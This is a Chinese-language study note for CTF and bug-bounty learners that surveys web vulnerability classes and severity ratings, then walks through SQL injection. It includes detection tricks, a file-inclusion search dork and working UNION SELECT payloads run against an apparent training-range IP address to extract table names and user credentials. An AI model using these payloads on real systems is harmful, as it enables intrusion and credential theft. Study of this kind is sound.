讲解各种WEB层面上的有哪些漏洞类型,具体漏洞的危害等级,以及简要的影响范围测试进行实例分析,思维导图中的漏洞也是我们将要学习到的各个知识点,其实针对漏洞的形成原理,如何发现,如何利用。
CTF,SRC,红蓝对抗
SQL注入
XSS
XXE
文件上传
如果 Web应用程序存在上传漏洞 , 攻击者甚至可以将一个webshell直接上传到服务器上
文件包含(可能含有文件包含的漏洞:inurl:php?file=)
文件读取
通过任意文件下载,可以下载服务器的任意文件,web业务的代码,服务器和系统的具体配置信息,也可以下载数据库的配置信息,以及对内网的信息探测等等
CSRF(用户请求伪造)
SSRF (服务器端请求伪造)
反序列化
远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码,被攻击者间接控制服务器
代码执行
逻辑漏洞
未授权访问
敏感信息泄露
命令执行
目录遍历
攻击者通过访问网站某一目录时,该目录没有默认首页文件或没有正确设置默认首页文件,将会把整个目录结构列出来,将网站结构完全暴露给攻击者; 攻击者可能通过浏览目录结构,访问到某些隐秘文件(如PHPINFO文件、服务器探针文件、网站管理员后台访问地址、数据库连接文件等)
漏洞危害决定漏洞等级:
高危漏洞:SQL注入、文件上传、文件包含、代码执行、未授权访问、命令执行
影响:直接影响到网站权限和数据库权限,能够获取数据或者网站的敏感文件。涉及到数据安全和权限的丢失都为高危漏洞
中危漏洞:反序列化、逻辑安全
低危漏洞:XSS跨站、目录遍历、文件读取
影响:网站的源码,网站部分账号密码
CTF:SQL注入、文件上传、反序列化、代码执行
SRC:图片上漏洞都能出现,逻辑安全出现比较多
红蓝对抗:涉及的高危漏洞,文件上传、文件包含、代码执行、命令执行
找不到漏洞是因为:信息收集没做好,自己对漏洞的理解不够
sql注入针对程序员编写时的疏忽,通过sql语句,进行数据库中数据的查询
1.从注入手法分类可以分为:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入
2.从数据类型上可以分为:字符型(即输入的输入使用符号进行过滤)、数值型(即输入的输入未使用符号进行过滤)
3.从注入位置可以分类为:GET数据(提交数据方式为GET,大多存在地址栏)、POST数据(提交数据方式为POST,大多存在输入框中)、HTTP头部(提交数据方式为HTTP头部)、cookie数据(提交数据方式为cookie)
分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)
1.数据库信息泄露
2.网页篡改:登陆后台后发布恶意内容
3.网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人
4.私自添加系统账号
5.读写文件获取webshell
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
。。。。。。
1.在MySQL5.0及以上版本中自带了一个数据库名为information_schema的数据库,它是一个存储有所有数据库名,表名,列名的数据库。
2.数据库中“.”表示下一级。
3.常用参数
information_schema.tables:记录所有数据库表名的表
information_schema.columns:记录所有数据库列名的表
table_name:表名
column_name:列明
table_schema:数据库名
user():查看当前数据库登陆的用户名
database():查看当前数据库名
version():查看当前数据库版本
order by 判断字段数
老方法:
例子:
SELECT * FROM users WHERE id=1 and 1=1 正常
SELECT * FROM users WHERE id=1 and 1=2 错误
表示id存在注入点,因为它表示and后面的语句被带入了sql语句
新方法:
SELECT * FROM users WHERE id=1asad(随便输入) 报错 且没有出现页面跳转到首页
也表示id存在注入,原理同上。
1.可能存在注入的有哪些?
www.xiaodi8.com/index.php?id=8
www.xiaodi8.com/?id=10
www.xiaodi8.com/?id=10&x=1
www.xiaodi8.com/index.php(post注入)
以上四个都可能存在注入
2.参数x存在注入,一下哪个注入则是正确
A.www.xiaodi8.com/new/php?y=1 and 1=1&x=2
B.www.xiaodi8.com/new/php?y=1&x=2 and 1=1
√
C.www.xiaodi8.com/new/php?y=1 and 1=1 & x=2 and 1=1
√
D.www.xiaodi8.com/new/php?xx=1 and 1=1&xxx=2 and 1=1
3.如果参数id存在注入,参数位置可以互换,使用注入工具时要注意
http://www/cnhgs.net/main.php?id53(注入点) and 1=2 &page=1
可惜写成
http://www/cnhgs.net/main.php?page=1&id53(注入点) and 1=2
可以判断处字段数为4
可看到在2,3有输出,则在后续信息收集中更改2,3字段
数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名字:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os Linux
http://219.153.49.228:45517/new_list.php?id=-1 union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
http://219.153.49.228:45517/new_list.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
比上面多了一个group_concat()函数,如果本来一行只能显示一个信息,加上这个函数后会显示完所有信息
由此可见,该数据库下有两个表
StormGroup_member ,notice
http://219.153.49.228:45517/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'
http://219.153.49.228:45517/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
limit 1,1是限制查询结果返会的数量
用法:【select * from tableName limit i,n 】